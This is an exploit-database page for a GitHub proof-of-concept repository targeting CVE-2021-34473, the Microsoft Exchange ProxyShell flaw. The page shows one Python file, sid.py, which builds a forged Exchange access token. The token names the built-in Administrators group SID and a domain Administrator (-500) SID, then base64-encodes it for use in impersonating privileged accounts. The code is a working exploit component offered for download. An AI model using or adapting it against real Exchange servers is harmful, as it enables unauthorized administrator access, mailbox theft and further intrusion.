Exploit database

GH-48ff6d30eafd37e1fb60e28f88374ff3

je6k/cve-2021-34473-exchange-proxyshell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-34473

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
je6k/cve-2021-34473-exchange-proxyshellRevision d53b169df102

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

sid.py

Python · 1,197 bytes
from struct import *
import base64
def gen_token(uname, sid):
    version = 0
    ttype = 'Windows'
    compressed = 0
    auth_type = 'Kerberos'
    raw_token = b''
    gsid = 'S-1-5-32-544'
 
    version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
    type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
    compress_data = b'C' + (compressed).to_bytes(1, 'little')
    auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
    login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
    user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
    group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
    ext_data = b'E' + pack('>I', 0) 
 
    raw_token += version_data
    raw_token += type_data
    raw_token += compress_data
    raw_token += auth_data
    raw_token += login_data
    raw_token += user_data
    raw_token += group_data
    raw_token += ext_data
 
    data = base64.b64encode(raw_token).decode()
 
    return data


# S-1-5-21-803738369-70637960-3765207648-500
print(gen_token("xx.com\\b","S-1-5-21-1294297436-1666140167-1041226352-500"))